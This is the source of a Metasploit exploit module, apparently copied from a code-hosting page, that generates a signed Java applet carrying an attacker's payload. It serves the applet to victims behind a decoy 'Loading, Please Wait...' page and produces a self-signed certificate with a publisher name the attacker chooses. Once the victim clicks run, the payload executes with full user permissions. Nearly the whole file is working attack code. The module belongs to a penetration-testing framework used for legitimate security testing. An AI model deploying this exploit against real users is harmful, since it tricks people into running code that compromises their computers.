Path: blob/master/modules/exploits/multi/browser/java_signed_applet.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/zip'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::HttpServer::HTML11include Msf::Exploit::EXE1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Java Signed Applet Social Engineering Code Execution',18'Description' => %q{19This exploit dynamically creates a .jar file via the20Msf::Exploit::Java mixin, then signs the it. The resulting21signed applet is presented to the victim via a web page with22an applet tag. The victim's JVM will pop a dialog asking if23they trust the signed applet.2425On older versions the dialog will display the value of CERTCN26in the "Publisher" line. Newer JVMs display "UNKNOWN" when the27signature is not trusted (i.e., it's not signed by a trusted28CA). The SigningCert option allows you to provide a trusted29code signing cert, the values in which will override CERTCN.30If SigningCert is not given, a randomly generated self-signed31cert will be used.3233Either way, once the user clicks "run", the applet executes34with full user permissions.35},36'License' => MSF_LICENSE,37'Author' => [ 'natron' ],38'References' => [39[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ]40],41'Platform' => %w{java linux osx solaris win},42'Payload' => { 'BadChars' => '', 'DisableNops' => true },43'Targets' => [44[45'Generic (Java Payload)',46{47'Platform' => ['java'],48'Arch' => ARCH_JAVA49}50],51[52'Windows x86 (Native Payload)',53{54'Platform' => 'win',55'Arch' => ARCH_X86,56}57],58[59'Linux x86 (Native Payload)',60{61'Platform' => 'linux',62'Arch' => ARCH_X86,63}64],65[66'Mac OS X PPC (Native Payload)',67{68'Platform' => 'osx',69'Arch' => ARCH_PPC,70}71],72[73'Mac OS X x86 (Native Payload)',74{75'Platform' => 'osx',76'Arch' => ARCH_X86,77}78]79],80'DefaultTarget' => 1,81'DisclosureDate' => '1997-02-19',82'Notes' => {83'Reliability' => UNKNOWN_RELIABILITY,84'Stability' => UNKNOWN_STABILITY,85'SideEffects' => UNKNOWN_SIDE_EFFECTS86}87)88)8990register_options([91OptString.new('CERTCN', [92true,93"The CN= value for the certificate. Cannot contain ',' or '/'",94"SiteLoader"95]),96OptString.new('APPLETNAME', [97true,98"The main applet's class name.",99"SiteLoader"100]),101OptPath.new('SigningCert', [102false,103"Path to a signing certificate in PEM or PKCS12 (.pfx) format"104]),105OptPath.new('SigningKey', [106false,107"Path to a signing key in PEM format"108]),109OptString.new('SigningKeyPass', [110false,111"Password for signing key (required if SigningCert is a .pfx)"112]),113])114end115116def setup117load_cert118load_applet_class119super120end121122def on_request_uri(cli, request)123if not request.uri.match(/\.jar$/i)124if not request.uri.match(/\/$/)125send_redirect(cli, get_resource() + '/', '')126return127end128129print_status("Handling request")130131send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })132return133end134135p = regenerate_payload(cli)136if not p137print_error("Failed to generate the payload.")138# Send them a 404 so the browser doesn't hang waiting for data139# that will never come.140send_not_found(cli)141return142end143144# If we haven't returned yet, then this is a request for our applet145# jar, build one for this victim.146jar = p.encoded_jar(:random => true)147148jar.add_file("#{datastore["APPLETNAME"]}.class", @applet_class)149150jar.build_manifest(:main_class => "metasploit.Payload", :app_name => "#{datastore["APPLETNAME"]}")151152jar.sign(@key, @cert, @ca_certs)153# File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }154155print_status("Sending #{datastore['APPLETNAME']}.jar. Waiting for user to click 'accept'...")156send_response(cli, jar.to_s, { 'Content-Type' => "application/octet-stream" })157158handler(cli)159end160161def load_applet_class162data_dir = File.join(Msf::Config.data_directory, "exploits", self.shortname)163if datastore["APPLETNAME"]164unless datastore["APPLETNAME"] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/165fail_with(Failure::BadConfig, "APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)")166end167siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") { |fd| fd.read(fd.stat.size) }168# Java strings are prefixed with a 2-byte, big endian length169find_me = ["SiteLoader".length].pack("n") + "SiteLoader"170idx = siteloader.index(find_me)171len = [datastore["APPLETNAME"].length].pack("n")172# Now replace it with the new class name173siteloader[idx, "SiteLoader".length + 2] = len + datastore["APPLETNAME"]174else175# Don't need to replace anything, just read it in176siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") { |fd| fd.read(fd.stat.size) }177end178@applet_class = siteloader179end180181def load_cert182if datastore["SigningCert"]183cert_str = File.open(datastore["SigningCert"], "rb") { |fd| fd.read(fd.stat.size) }184begin185pfx = OpenSSL::PKCS12.new(cert_str, datastore["SigningKeyPass"])186@cert = pfx.certificate187@key = pfx.key188@ca_certs = pfx.ca_certs189rescue OpenSSL::PKCS12::PKCS12Error190# it wasn't pkcs12, try it as concatenated PEMs191certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m)192@cert = OpenSSL::X509::Certificate.new(certs.shift)193@ca_certs = nil194while certs.length > 0195@ca_certs ||= []196@ca_certs << OpenSSL::X509::Certificate.new(certs.shift)197end198199if datastore["SigningKey"] and File.file?(datastore["SigningKey"])200key_str = File.open(datastore["SigningKey"], "rb") { |fd| fd.read(fd.stat.size) }201else202key_str = cert_str203end204205# First try it as RSA and fallback to DSA if that doesn't work206begin207@key = OpenSSL::PKey::RSA.new(cert_str, datastore["SigningKeyPass"])208rescue OpenSSL::PKey::RSAError => e209@key = OpenSSL::PKey::DSA.new(cert_str, datastore["SigningKeyPass"])210end211end212else213# Name.parse uses a simple regex that isn't smart enough to allow214# slashes or commas in values, just remove them.215certcn = datastore["CERTCN"].gsub(%r|[/,]|, "")216x509_name = OpenSSL::X509::Name.parse(217"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"218)219220@key = OpenSSL::PKey::DSA.new(1024)221@cert = OpenSSL::X509::Certificate.new222@cert.version = 2223@cert.serial = 1224@cert.subject = x509_name225@cert.issuer = x509_name226@cert.public_key = @key.public_key227@cert.not_before = Time.now228# FIXME: this will break in the year 2037 on 32-bit systems229@cert.not_after = @cert.not_before + 3600 * 24 * 365 # 1 year230end231end232233def generate_html234html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|235html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n|236html << %Q|<applet archive="#{get_resource.sub(%r|/$|, '')}/#{datastore["APPLETNAME"]}.jar"\n|237vprint_line(html)238if @use_static239html << %Q| code="SiteLoader" width="1" height="1">\n|240else241html << %Q| code="#{datastore["APPLETNAME"]}" width="1" height="1">\n|242end243html << %Q|</applet>\n</body></html>|244return html245end246247# Currently unused until we ship a java compiler of some sort248def applet_code249applet = <<~EOS250import java.applet.*;251import metasploit.*;252253public class #{datastore["APPLETNAME"]} extends Applet {254public void init() {255try {256Payload.main(null);257} catch (Exception ex) {258//ex.printStackTrace();259}260}261}262EOS263end264end265266=begin267268The following stores a bunch of intermediate files on the path to creating the signature. The269ImportKey class used for testing was obtained from:270http://www.agentbob.info/agentbob/79-AB.html271272system("rm -rf signed_jar/*")273File.open("signed_jar/cert.pem", "wb") { |f| f.write(@cert.to_s + @key.to_s) }274File.open("signed_jar/key.pem", "wb") { |f| f.write(@key.to_s + @key.public_key.to_s) }275File.open("signed_jar/unsigned.jar", "wb") { |f| f.write jar.to_s }276277File.open("signed_jar/jarsigner-signed.jar", "wb") { |f| f.write jar.to_s }278system("openssl x509 -in signed_jar/cert.pem -inform PEM -out signed_jar/cert.der -outform DER")279system("openssl pkcs8 -topk8 -nocrypt -in signed_jar/key.pem -inform PEM -out signed_jar/key.der -outform DER")280system("java -cp . ImportKey signed_jar/key.der signed_jar/cert.der")281system("mv ~/keystore.ImportKey ~/.keystore")282system("jarsigner -storepass importkey signed_jar/jarsigner-signed.jar importkey")283284jar.sign(@key, @cert)285File.open("signed_jar/signed.jar", "wb") { |f| f.write jar.to_s }286287=end288289290